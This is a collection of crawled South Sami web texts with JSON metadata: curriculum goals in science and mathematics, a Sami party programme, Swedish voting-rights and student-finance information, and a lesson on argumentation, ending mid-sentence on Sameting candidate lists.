vuesiehtimmieh vedtedh guktie dagkeres goekedimmie åtnasåvva teknihkeles jïh medisijnen åtnosne\n- buerkiestidh guktie elektromagnetiske goekedimmie veartenerommeste maahta toelhkestamme sjïdtedh jïh bïevnesh vedtedh veartenerommen bïjre\nEnergije båetijen aajkanMål for opplæringen er at eleven skal kunne\n- voejhkelimmieh darjodh biejjiecellajgujmie, biejjiefeengkijigujmie jïh baahkedimmiepumpajgujmie, buerkiestidh guktie dah fungeradieh jïh aelhkie aerviedimmieh darjodh man stoerre nåhtoe lea\n- buerkiestidh mij lea redoksreaksjovnh, voejhkelimmieh darjodh båeltielimmine, galvaniske elementine jïh elektorlysine, jïh illedahkide buerkiestidh\n- buerkiestidh guktie naan sïejhme batterijh jïh båeltielimmiecellah fungeradieh, jïh gusnie dah åtnasuvvieh\n- buerkiestidh ovmessie såarhts åtnoem biomasseste goh energijegaaltije\n- joekehtsem buerkiestidh energijegaaltiji jïh energijeguedtiji gaskem, jïh akte sjyöhtehke energijeguedtije båetijen aajkan\nSide 10 Av 13","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.udir.no\/kl06\/NAT2-03\/Hele\/Kompetansemaal\/maahtoeulmie-jaa1-maenngan--studijery%C3%B6jreden-%C3%B6%C3%B6hpehtimmieprogrammh?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-09-19T08:41:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400191160.14\/warc\/CC-MAIN-20200919075646-20200919105646-00248.warc.gz","language":"sma","language_score":0.9999910593,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999910593032837}","num_words":542,"character_repetition_ratio":0.096,"word_repetition_ratio":0.004,"special_characters_ratio":0.131,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reakta eatnamasse jïh tjaatsan\nNSRese Åarjelsaemien dajvesne dle saemien reaktah eatnamasse jïh tjaatsan lea vïedteldamme dan faamose goh mijjieh goh aalkoealmetjh Nöörjesne, reaktam utnebe dajvh nuhtjedh jïh reeredh. Edtja laakine jïh reeremisnie vuejnedh Nöörje lea tseegkesovveme dajvesne göökte almetjidie. NSR sæjhta faamoem arealeåtnoen bijjelen nænnoestehtedh dejtie aerpievuekien saemien jieliemidie åarjelsaemien dajvesne.\nÅarjelsaemien dajvesne NSR sæjhta:\n• Dah båeries saemien reaktah dejpelistie nöörjen laakine gorresuvvieh,\n• dejpeli gåatomelaante åarjelsaemien dajvesne bååstede vadtasåvva båatsose,\n• båatsoesaemiej jïh saemiej reakta vijremasse jïh göölemasse jååhkesjamme sjædta,\n• Saemiedigkie reaktabarkoem dåarjohte åarjelsaemien dajvesne beetnehvierhtiejgujmie, joekoen dennie vijriesåbpoe barkosne Saemiereaktamoenehtsinie II.\nBåatsoe, jieleme jïh innovasjovne\nAktem saemien jielemevåaromem gorredidh lea dovne dejtie kultuvrelle guedtemetsegkide saemien siebriedahkesne gorredidh, jïh orre jielemh evtiedidh mah barkoesijjieh sjugniedieh, jïh aktem nænnoes båetije aejkiem saemien siebriedahkese vadta. Båatsoe akte vihkeles kultuvreguedtije jïh aarvoesjugniedæjja, mearan innovasjovne dejnie vijriesåbpoe evtiedimmine viehkehte.\nÅarjelsaemien dajvesne NSR sæjhta:\n• Saemiedigkie aktem innovasjovneprogrammem tseegkie,\n• mierietsiehkieh saemien aarvoesjugniedæmman gorresuvvieh jïh vijriesåbpoe evtiesuvvieh,\n• båatsoe aktem vaarjelimmiem åådtje stoerre darjomi vööste gåatomedajvine,\n• båatsoe nuepieh åådtje guktie åarjelsaemien noerh maehtieh aktem båetije aejkiem båatsosne vuejnedh, jïh båatsoestipende bååstede båata,\n• daerpies råajvarimmiejgujmie nïerhkedh juktie teehpemeprosentem giehpiedidh båatsosne jïh jeatjah miehtjiesjielieminie, v.g jarkelimmien tjïrrh juvrepolitihkesne, jïh giedtieh tseegkedh ruevtieraajroen lïhke gusnie stoerre teehpemh,\n• saemien vytnesjæjjah buerebe mierietsiehkieh åadtjoeh.\nByjjenimmie, ööhpehtimmie jïh dotkeme\nSaemien lïerehtimmieöörnege tjuara saemien siebriedahken daerpiesvoetem våaroeminie utnedh. Saemien learohkh reaktam utnieh ööhpehtimmiem åadtjodh saemien aamhtine jïh gïelesne saemien gïelesne. Maajhööhpehtimmie åarjelsaemien gïelesne lea maereles orreme, hijvenlaakan öörnedamme jïh åarjelsaemien maahtoebyjresasse vïedteldamme, jïh dam tjuara vaarjelidh. Vijriesåbpoe NSR barka akten ellies saemien lïerehtimmien jïh laavenjostoen åvteste rïjhkeraasten rastah, soejkesjebarkoen jïh learoevierhtieevtiedimmien bïjre.\nÅarjelsaemien dajvesne NSR sæjhta:\n• akten hijven ööhpehtimmiepolitihken åvteste barkedh mij daerpiesvoetide siebriedahkesne vuesehte,\n• gaajhkh saemien maanah jïh noerh aktem eensi saemien faalenassem åadtjoeh maanagïerteste jollebe ööhpehtæmman,\n• åarjelsaemien maajhööhpehtimmiem nænnoestehtedh mij lea åarjelsaemien maahtoebyjresasse vïedteldamme,\n• laavenjostoem åarjelsaemien jollebe ööhpehtimmien bïjre nænnoestehtedh jïlleskuvli jïh universiteeti gaskem raasten gåabpaginie bielesne,\n• beetnehdåarjoeöörnegem buerebe sjædta faagese åarjelsaemien jollebe ööhpehtimmesne,\n• evtiedimmie åarjelsaemien learoevierhtijste prijoriteradamme sjædta,\n• dåårrehtidh jïh sjïehteladtedh åarjelsaemien jollebe ööhpehtæmman, jïh åarjelsaemien dotkemebyjresasse.\nSaemien gïele jïh kultuvre lea roenegierkieh saemien siebriedahkesne. Gïelesne mijjen kultuvre, daajroe jïh aarvoeh. Åarjelsaemien gïele, goh akte dejstie itjmies håvhtadihks gïelijste veartenisnie, sjïere råajvarimmieh jïh sjïehteladtemem daarpesje, juktie gïelem vaarjelidh jïh nænnoestehtedh. Åadtjodh sov ietniengïelem lïeredh, jïh saemien kultuvrine åahpenidh leah vihkeles reaktah, jïh mijjieh NSRsne sïjhtebe sjïehteladtedh ihke gaajhkh saemieh edtjieh dejtie nuepide åadtjodh.\nÅarjelsaemien dajvesne NSR sæjhta:\n• saemien gïele edtja åtnasovvedh ahkedh orre sijjine, vuesiehtimmien gaavhtan digitaale sijjine jïh appi tjïrrh,\n• dejtie daaletje gïelejarngide nænnoestehtedh, jïh orre tseegkedh jieniebinie åarjelsaemien dajvine,\n• geervelïerehtimmiem åarjelsaemien dajvesne ihkuve darjodh jïh dam nænnoestehtedh,\n• åarjelsaemien institusjovnh jïjtsinie premissine evtiesuvvieh, jïh maahtoe- jïh vierhtiejarngine evtiesuvvieh åarjelsaemien gyhtjelasside,\n• Saemien gåetiem Röörosne saetniedehtedh\nSaemien staarine\nJïjnjh saemieh jielieh jïh byjjenieh staarine jïh stuerebe sijjine. Mijjieh NSRsne sïjhtebe gorredidh gïelelïerehtimmie vadtasåvva, jïh kultuvresijjieh jïh sosijaale gaavnedimmiesijjieh dåarjojne gååvnesieh juktie dam saemien identiteetem nænnoestehtedh. Jaepien 2017 dellie 100 jaepieh mænngan dïhte voestes saemien laantetjåanghkoe lij Tråantesne, jïh daelie aktine stoerre heevehtimmine barkeminie. NSR sæjhta gorredidh heevehtimmie hijven illedahkh vadta dan saemien byjresasse Tråantesne jïh byjreskisnie, dovne åeniebasse jïh guhkiebasse.\nÅarjelsaemien dajvesne NSR sæjhta:\n• Tråanten tjïeltine ektine aktem saemien gaavnedimmiesijjiem tseegkedh Tråantesne heevehtimmien åvtelen 2017,\n• heevehtimmieöörnedimmie dejtie ekonomeles vierhtide åådtje mah leah daerpies,\n• aktem laavenjostoelatjkoem Tråanten tjïeltine darjodh juktie dam saemien dïenesjefaalenassem nænnoestehtedh,\n• Saemiedigkie laavenjostoelatjkoeh vuarjesje jeatjah staarigujmie åarjelsaemien dajvesne.\nHealsoe- jïh sosijaalefaalenasse\nNSR aktem seammavyörtegs healsoe- jih sosijaalefaalenassem sæjhta mij lea sjïehtedamme dan saemien utnijen daerpievoetese abpe jieleden tjïrrh. Maahta årrodh saemien almetjebådtja, gïele- jïh kultuvremaahtoe healsoebarkiji luvnie mah saemien skïemtjijh jïh skïemtjijen lïhke fuelhkiem gaavnesjieh, jïh gaavnedimmiesijjieh saemien voeresidie.\nÅarjelsaemien gievlesne NSR sæjhta:\n• dah saemien reaktah gorresuvvieh dajvemedisijnen jarngine gievlesne,\n• aktem åarjelsaemien skïemtjijegovlehtallijem tseegkedh skïemtjegåetesne St. Olavs Hospital,\n• aktem åarjelsaemien skïemtjijetjirkijem tseegkedh abpe åarjelsaemien dajvese,\n• dam psykiatriske faalenassem vijriesåbpoe evtiedidh åarjelsaemien dajvesne,\n• gaajhkh voeresh åarjelsaemien dajvesne gaavnedimmiesijjieh åadtjoeh dovne sosijaale jïh faageles sisveginie.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/nsr.no\/aarjel-saepmie-veeljemegievlie-veeljemeprogramme\/?lang=sma","date":"2021-01-26T18:09:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704803308.89\/warc\/CC-MAIN-20210126170854-20210126200854-00140.warc.gz","language":"sma","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000005841255188}","num_words":618,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Published: 11 March 2020\nTjaatsestimmiereakta\nBïevnesh almetjetjaalegisnie jiehtieh jis datne tjaatsestimmiereaktam åtnah jïh mij veeljemegievlide datne govlesovvh.\nBïevnesh 30 biejjieh veeljemebiejjien åvteli veedtjesåvva. Jis datne tjaatsestimmiereaktam åtnah veeljemisnie dellie datne meatan tjaatsestimmielåhkosne.\nTjaatsestimmiereakta dejtie ovmessie veeljemidie\nVeeljeme rïjhkebeajjan\n- 18 jaepieh minngemes veeljemebiejjien illedh\n- leah sveerjen staateårroje jïh\n- leah jallh såemies aejkien orreme årroje Sveerjen almetjetjaalegisnie.\nVeeljemh tjïelte- jïh laantedigkiereeremidie\n- 18 jaepieh minngemes veeljemebiejjien illedh\n- leah tjïelten jïh laantedigkien almetjetjaalegisnie tjaalasovveme jïh\n- Europan unijovnen staateårroje jallh Islaanten jallh Nöörjen staateårroje jïh Sveerjen almetjetjaalegisnie tjaalasovveme. jallh,\n- staateårroje jeatjah laantine jïh leah Sveerjesne almetjetjaalegisnie tjaalasovveme golme jaepine veeljemebiejjien åvteli.\nVeeljeme Europa-parlameentese\n- 18 jaepieh minngemes veeljemebiejjien illedh.\n- sveerjen staateårroje jïh leah jallh lih Sveerjesne tjaalasovveme.\n- Europan unijovnen staateårroje jïh Sveerjen almetjetjaalegisnie tjaalasovveme jïh leah tjaatsestimmielåhkose bæjhkoehtamme.\nTjaatsestimmiekåarhte\nDatne gie reaktam åtnah tjaatsestidh åadtjoeh tjaatsestimmiekåarhtem påastine medtie golme våhkoeh veeljemen åvteli.\nTjaatsestimmiekåarhtesne tjåådtje mah veeljemidie datne tjaatsestimmiereaktam åtnah jïh nomme, adresse jïh gåessie dov veeljemesijjie ræhpas.\nJis edtjh åvtelhbodti tjaatsestidh tjoerh dov tjaatsestimmiekåarhtem meatan vaeltedh.\nJis ih dov tjaatsestimmiekåarhtem åådtjeme jallh daam teehpeme, maahtah orre kåarhtem dængkodh tjïelteste jallh Veeljemeåejvieladtjeste.\nJis mïelh bïevnesh tjaatsestimmiekåarhtesne ij leah reaktoe, tjoerh datne tjaaleldh gihtjedh dejtie staeriedidh. Daam leeneståvrosne darjoeh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/tjaatsestidh\/tjaatsestimmiereakta-jih-tjaatsestimmiekaarhte.html","date":"2022-05-23T08:46:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662556725.76\/warc\/CC-MAIN-20220523071517-20220523101517-00236.warc.gz","language":"sma","language_score":0.9999849796,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 0.9999849796295166}","num_words":185,"character_repetition_ratio":0.132,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sámi - åarjelsaemiengïele\nCSN lea dïhte åejvieladtje mij gïetede dam sveerjen lohkemedåarjoem, dïhte sæjhta jiehtedh dåarjoe jïh lööneme lohkemidie. Mijjieh aaj gïetedibie vuejemekåarhte-lööneme jïh hïejmereejrehtimmie-lööneme. Daesnie datne maahtah vielie lohkedh dej ovmessie dåarjoej bïjre. Bïevnesh åarjelsaemiengïelesne lea bijjebe daltesisnie.\nDov reakta nasjonaale unnebelåhkoegïelem nuhtjedh\nDatne lïhtseginie aktene nasjonaale unnebelåhkojste datne reaktam åtnah dov gïelem nuhtjedh gaskesadtemisnie åejvieladtjigujmie. Sveerjen nasjonaale unnebelåhkoeh leah judarh, romerh, saemieh, sveerjesåevmieladtjh jïh torneladtjh. Dah nasjonaale unnebelåhkoegïelh leah jiddisch, romani chib, samiengïelh, såevmiengïele jïh meänkieli.\nJienebh reaktan bïjre dejtie nasjonaale unnebelåhkoegïelide nuhtjedh\nsprakochfolkminnen.se\nLohkemedåarjoe – dåarjoe jïh lööneme lohkemidie\nDah gååvnesieh ovmessie lohkemedåarjoeh dan mietie maam datne lohkh jïh man båeries datne leah. Daesnie dah daamhtemes:\nDatne lohkeminie jåarhkeskuvlesne maahtah lohkemeviehkiem åadtjodh gïjretermijnen raejeste jaepien gosse 20 jaepieh illh. Lohkemeviehkie lea ovmessie dåarjoeh, vuesiehtimmieh lohkemedåarjoe jïh lissie. Lissie lea dåarjoe maam maahtah ohtsedidh jis dov fuelhkie vuelie baalhkam åtna.\nLohkememaekseme leah dåarjoe jïh lohkemelööneme. Datne maahtah lohkememaeksemem ohtsedidh tjaktjetermijnen raejeste jaepien gosse 20 illh. Jis datne edtjh lohkemem ohtsedidh jåarhkeskuvlen mænngan vuesiehtimmie universiteetesne, maahtah lohkememaeksemem ohtsedidh jïlhts nuerebe enn 20 jaepieh. Lohkemelöönemem tjoerh bååstide maeksedh.\nLohkemeaalkoedåarjoe dutnjien gie guhkiem barkohts jïh daarpesjh maadth- jallh jåarhkeskuvleööhpehtimmiem lohkedh guktie maahtah barkoem åadtjodh. Dïhte lea dåarjoe maam datne maahtah åadtjodh jeenjemes 50 våhkoej raejesne jis datne elliestïjjem lohkedh.\nJarkelimmiestudijedåarjoe lea studijedåarjoe geerve almetjidie mah leah guhkiem barkeme. Jarkelimmiestudijedåarjojne maahtah studeeredh jïh dov maahtoem gamtedidh guktie dov sijjie barkoemaarhnesne nænnoestidh. Datne maahtah dov suerkesne vijrebe evtiedidh jallh orre barkoeööhpehtimmiem lohkedh.\nJarkelimmiestudijedåarjoe lea dåarjoe jïh lööneme. Man jïjnjh datne maahtah åadtjodh jïh löönedh lea jearohke dov baalhkeste. Dåarjoe lea 80 % dov baalhkeste, maakse-maeksemen raajan. Datne maahtah aaj lööneminie dievhtedh jis sïjhth. Datne maahtah dåarjoem 44 våhkoeh åadtjodh, guhkebe jis bielietïjjesne studeeredh.\nDaesnie naan dejstie tsiehkijste guktie jarkelimmiestudijedåarjoem åadtjodh:\n- Datne edtjh 27 – 62 jaepien båeries.\n- Datne galkh unnemes 96 askh barkeme (ikte-mearan 8 jaepieh) dej minngemes 14 jaepiej raejesne.\n- Datne galkh unnemes 12 askh barkeme dejstie minngemes 24 askh.\n- Datne edtjh ööhpehtimmiem lohkedh mij dov sijjie barkoemaarhnesne nænnoste.\nAaj vielie tsiehkieh gååvnesieh mah datne tjoerh krööhkestidh.\nDatne jarkelimmiestudijedåarjoem ohtsedh Mina sidor csn.se:sne. Ohtsemem sveerjengïelesne. Dah leah göökte ohtsemeboelhkh fïerhten jaepien, akte studijidie mah tjaktjen aelkieh jïh akte studijidie mah gïjren aelkieh.\nFïerhten jaepien gaertjiedamme budsjedtem gååvnese jarkelimmiestudijedåarjose. Dïhte sæjhta jiehtedh gaajhkh gïeh ohtsedieh eah dåarjoem åadtjoeh vaallah tsiehkide krööhkestidh. Mijjieh ohtsemidie jååhkesjieh dejnie öörneginie mah ohtsemh båetieh.\nBïeljelh aaj dov jarkelimmieorganisasjovnem. Desnie maahtah namhtah studije- jïh barkoebïhkedimmiem åadtjodh jïh dah vïhtesjimmine viehkiehtieh mij vuesehte ööhpehtimmie dov sijjie barkoemaarhnesne nænnoste. Sjïere tsiehkine maahtah aaj lissie studijedåarjoem destie åadtjodh. Jis ih daejrieh mij jarkelimmieorganisasjovne datne govlesåvva maahtah dov barkoevedtijem jallh dov faagesiebriem gihtjedh.\nDatne ålkoelaanten årroje?\nDatne gie ålkoelaanten årroje maahtah reaktam utnedh sveerjen lohkemedåarjose jis datne sjïere tsiehkieh illedh. Jis datne eejnegen årromeluhpiem (PUT) åtnah jïh Sveerjesne årroeh datne daamhtaj reaktam åtnah sveerjen lohkemedåarjose.\nJis datne åådtjeme tïjjegaertjiedamme årromeluhpiem Migrationsverkeste juktie dov lea baataræjjastatusem jallh seammaleejns, datne daamhtaj aaj reaktam åtnah sveerjen lohkemedåarjose. Ih datne asyjleohtsijinie reaktam dïsse utnieh.\nAaj ovmessie njoelkedassh dan mietie gusnie datne leah årroje, jis laante EU\/EES jallh Schweizen sisnie jallh ålkoelisnie.\nMaeksieh bååstide lohkemedåarjoem\nDatne gie lohkeme lohkemedåarjojne CSN:este aalka bååstide maeksedh gåessie datne ih ståantem lohkh vuj lohkemidie lohkemedåarjojne illedh. Naemhtie aaj jis datne barkohts, åadtjoeh eejhtegemaaksoem jallh ålkoelaantese juhtedh. Daesnie bïevnesh gaavnh guktie datne bååstide maaksah jïh maam maahtah darjodh jis ih maehtieh maeksedh.\nVuejemekåarhte-lööneme\nDatne maahtah åadtjodh beetnegh CSN:este löönedh guktie maahtah sveerjen vuejeme-kåarhtem vaeltedh vuejemekåarhte-luhpine B. Aktene vuejeme-kåarhtine maahta aelhkebe årrodh barkoem åadtjodh.\nDatne maahtah vuejemekåarhte-löönemem ohtsedidh jis datne\n- 18 jïh 47 jaepiej gaskem, leah barkohth jïh sjïere eaktoeh illedh jallh\n- 19 – 20 jaepieh jïh jåarhkeskuvleeksamenem jallh seammaleejns åtnah\nJeenjemes maahtah 15 000 kråvnah löönedh. Löönemem tjoerh mænngan bååstide maeksedh jïh daam tjoerh darjodh jïlhts idtjih dov vuejeme-kåarhtem vaeltieh.\nGaskesadth mijjiem\nRingkh mijjiem reaktan bïjre sveerjen lohkemedåarjoen bïjre\nMåanta – bearjadahke, 9.00-12.00\nRingkh mijjiem lohkemi bïjre\nMåanta – bearjadahke, 9.00-16.00\nRingkh mijjiem bååstide maeksemen bïjre\nMåanta – bearjadahke, 9.00-16.00\nRihpesth e-påastegoerem\nMijjieh daamhtaj vaestiedibie 3 barkoebijjiej raejesne\nRingkh mijjiem hïejvmereejrehtimmie-löönemen bïjre\nMåanta – bearjadahke, 9.00-12.00\nRihpesth e-påastegoerem\nMijjieh daamhtaj vaestiedibie 3 barkoebijjiej raejesne.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.csn.se\/languages\/sami---aarjelsaemiengiele.html","date":"2023-02-02T02:28:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499954.21\/warc\/CC-MAIN-20230202003408-20230202033408-00449.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":637,"character_repetition_ratio":0.071,"word_repetition_ratio":0.003,"special_characters_ratio":0.15,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmieh 2. jaepiedaltesen mænngan\n- Maahtoeulmieh 4. jaepiedaltesen mænngan\n- Maahtoeulmieh 7. jaepiedaltesen mænngan\n- Maahtoeulmieh 10. jaepiedaltesen mænngan\n- Maahtoeulmieh 1T mænngan– Jåa1 studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmieh 1P mænngan – Jåa1 studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmieh 1T-B mænngan– Jåa1 barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmieh 1P-B mænngan– Jåa1 barkoefaageles ööhpehtimmieprogrammh\n- Faagem vierhtiedidh\nFaagen åejvieboelhkh\nFaage lea öörnedamme åejviesuerkine mejtie maahtoeulmieh leah hammoedamme. Åejviesuerkieh sinsitniem lissiehtieh jïh tjuerieh ektesne vuajnalgidh.\nFaage akte ektiefaage gaajhkide ööhpehtimmieprogrammide jåarhkeööhpehtimmesne. Edtja dan åvteste lïerehtimmiem dan sjyöhtehke darjodh goh gåarede learoehkidie viehkine dejtie sjïehtedidh dejtie ovmessie ööhpehtimmieprogrammide.\nMatematihke maahtoeulmieh åtna 2., 4., 7. jïh 10 jaepiedaltesen mænngan maadthskuvlesne jïh Jåa1 mænngan studijeryöjreden jïh barkoefaageles ööhpehtimmieprogrammesne jåarhkeööhpehtimmesne.\nGöökte joekehts learoesoejkesjh faagesne. Learoesoejkesje 2T lea vielie teoretihkeles, mearan learoesoejkesje 2P lea vielie praktihkeles. Gåabpegh learoesoejkesjh sïejhme studijemaahtoem vedtieh dejnie studijeryöjreden ööhpehtimmieprogrammine, goh tjåenghkies programmefaage matematihke Jåa2 (2P) jallh programmefaage matematihkesne (R1\/S1).\nLearohkh barkoefaageles ööhpehtimmieprogrammesne edtjieh daltesisnie Jåa1, golme vïjhtehtassh learoesoejkesjistie matematihke 1P jallh 1T utnedh. Learoesoejkesje maahtoeulmide vuesehte matematihkesne dejnie barkoefaageles ööhpehtimmieprogrammine 1T-B jïh 1P-B.\nBijjieguvvie åejviesuerkijste\nJaepie-daltese\nÅejviesuerkieh\n1.–4.\nTaalh\nGeometrije\nMööleh-timmie\nStatistihke\n5.–7.\nTaalh jïh algebra\nGeometrije\nMööleh-timmie\nStatistihke jïh aarvehtse\n8.–10.\nTaalh jïh algebra\nGeometrije\nMööleh-timmie\nStatistihke, aarvehtse jïh kombinatorihke\nFunksjovnh\n1T\nTaalh jïh algebra\nGeometrije\nAarvehtse\nFunksjovnh\n1P\nTaalh jïh algebra\nGeometrije\nAarvehtse\nFunksjovnh\nEkonomije\n1T-B\nTaalh jïh algebra\nGeometrije\nFunksjovnh\n1P-B\nTaalh jïh algebra\nGeometrije\nEkonomije\nTaalh jïh algebra\nÅejviesuerkie taalh jïh algebra lea evtiedimmien bïjre taalegoerkesistie, jïh daajroem åadtjodh guktie taalh jïh taalegïetedimmie leah meatan systeemine jïh maalline. Taaligujmie maahta jiehtedh man jïjnje lea, jïh man stoerre lea. Taalh leah dovne ellies taalh, bröökh, desimaaletaalh jïh prosente. Algebra skuvlesne lea sïejhme taaleryökneme dan åvteste bokstaavh jallh jeatjah symbovlh leah seamma goh taalh. Dïhte nuepiem vadta maallh jïh ektiedimmieh analyjseradidh. Algebra aaj åtnasåvva dej åejviesuerkiejgujmie geometrije jïh funksjovnh.\nGeometrije\nGeometrije skuvlesne lea gaskem jeatjah jïjtsevoeth analyjseradidh guektien- jïh golmendimensjovnaale goerine, jïh konstruksjovnh jïh aerviedimmieh darjodh. Daesnie dynamihkeles prosessh goerehte goh speejjeldimmie, jårredimmie jïh sertiestimmie. Åejviesuerkie lea aaj darjodh jïh buerkiestidh mennie sijjesne mij akt lea jïh gåabph sertieståvva dabloenedtesne, kaarhtesne jïh koordinaatesysteemesne.\nMöölehtimmie\nMöölehtimmie lea viertiestidh jïh daamtajommes aktem taalestoeredahkem ektiedidh akten aatese jallh veahkese. Daennie prosessesne daerpies möölegeektievoeth jïh sjiehteles teknihkh, möölehtimmiedïrregh jïh formelh nuhtjedh. Vihkeles bielieh möölehtimmieprosesseste leah illedahkem vuarjasjidh jïh digkiedidh man ovseekere dah möölehtimmieh leah.\nStatistihke, aarvehtse jïh kombinatorihke\nStatistihke lea soejkesjidh, tjöönghkedh, öörnedidh, analyjseradidh jïh daatah åehpiedehtedh. Analyjsesne daatijste dle edtja sïejhme væhtah buerkiestidh daatamaterijaaleste. Vuarjasjidh jïh laejhtehkslaakan vuejnedh konklusjovnide jïh daatide lea vihkeles statistihkesne. Aarvehtseryöknemisnie taalh beaja man stoerre hille lea akte heannadimmie edtja heannadidh. Kombinarotihkesne barkeminie systematihkeleslaakan guktie maahta taalh gaavnedh, jïh dïhte daamtaj daerpies jis edtja maehtedh aarvehtsem aerviedidh.\nFunksjovnh\nAkte funksjovne jarkelimmiem jallh evtiedimmiem buerkeste aktede stoeredahkeste mij lea jearohke aktede mubpeste, aktelaaketje. Maahta funksjovnh gellielaakan vuesiehtidh, vuesiehtimmien gaavhtan formeligujmie, tabelligujmie jïh graafigujmie. Analyjse funsjovnijste lea aaj sjïere jïjtsevoeth ohtsedidh, goh man varke akte evtiedimmie jåhta, jïh gosse evtiedimmie sjïere aarvoeh åådtje.\nEkonomije\nÅejviesuerkieh ekonomije lea aerviedimmiej jïh vuarjasjimmiej bïjre mah leah ekonomeles tsiehkiej bïjre.\nSide 2 Av 14","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/kl06\/MAT1-04\/Hele\/Hovedomraader?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2023-11-30T04:30:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100164.87\/warc\/CC-MAIN-20231130031610-20231130061610-00255.warc.gz","language":"sma","language_score":1.0000011921,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000011920928955}","num_words":482,"character_repetition_ratio":0.098,"word_repetition_ratio":0.004,"special_characters_ratio":0.141,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie argumenteradidh?\nGuktie argumenteradidh?\nVihkielommes argumentereles tjaaleginie lea argumentasjovne. Aajkoe lea dåastojem tsevtsedh. Gellien aejkien datne tjoerh gellie ovmessie argumenth nuhtjedh guktie aajkoem jaksedh.\nRyöktesth jïh gaahpoeh argumenth\nArgumentasjovne mij åehpies daejremen mietie jïh maam maehtebe vuarjasjidh, lea gaahpoeh jallh ryöktesth argumentasjovne. Daejremevoeten tjaaleginie daate argumentasjovne aelhkie guarkedh jïh vihkielommes juktie krïevebe dah argumenth edtjieh eensi jïh tjïelke årrodh.\nOv-ryöktesth jïh tjeakoes argumenth\nMijjieh jeenjemes gyhtjelassh digkiedibie. Akte gyhtjelasse vuesiehtimmien gaavhtan ovjuvre-politihke. Mijjieh maehtebe vierhtieh, vuajnoeh jïh aaj daejremem digkiedidh.\nDannasinie seedtije tjuara dovne jiermiem jïh vaajmoem tsevtsedh, appelleradidh. Seedtije sæjhta dov domtesh tsevtsedh. Ij leah man aelhkies tjeakoes argumenth aejhtsedh. Mijjieh maehtebe seedtijen argumenth goerehtidh dejnie gyhtjelassigujmie:\n- seedtije sæjhta domtesh tsevtsedh?\n- mah gïeleldh viehkievierhtieh seedtije nuhtjie?\n- maam seedtije jeahta\/tjaala guktie dåastoje edtja dam jaehkedh?\nDam maam jeahta tjuara aaj maehtele jïh saatnan årrodh guktie dah jeatjebh edtjieh satnem goltelidh jïh jaehkedh.\nLogose, etose jïh patose\nDah greekeladtjh mïelin håaloje sov goltelæjjah tsavtsa golme vuekine. Dah golme appelle-hammoeh dah gåhtjoejin logosem, etosem jïh patosem. Logose-appelle lea dïhte gaahpoeh argumentasjovne, dah fakta-argumeenth mejtie håaloje buakta. Etose jïh patose leah appelle-hammoeh mah tjeakoehkisnie: Etose lea jis mijjieh håalojem jaehkebe, jïh patose lea dah domtesh mah håaloje sov goltelæjjine gååske jïh dejtie mïelide dïhte appellerade. Aelhkebe vuekine maehtebe jiehtedh, etose jïh patose ektesne lea dïhte tjeakoes argumentasjovne.\nargumenteradidh\nargumentere\nargumente\nargument\nargumenteles\nargumenterende\nargumentasjovne\nargumentasjon\nargumenteradimmie\nargumentering\nargumenteradimmie-vuekie\nmåte å argumentere på","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/163207?fag=126960","date":"2017-03-30T04:45:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00471-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999951124,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999951124191284}","num_words":229,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Krïevenassh læstoeraeriestæmman\nSiebride mah leah registreradamme Saemiedigkien luvnie\nLæstoeraeriestimmie tjuara unnemes 30 vuelietjaalegh utnedh almetjijstie mah leah registreradamme saemiedigkien 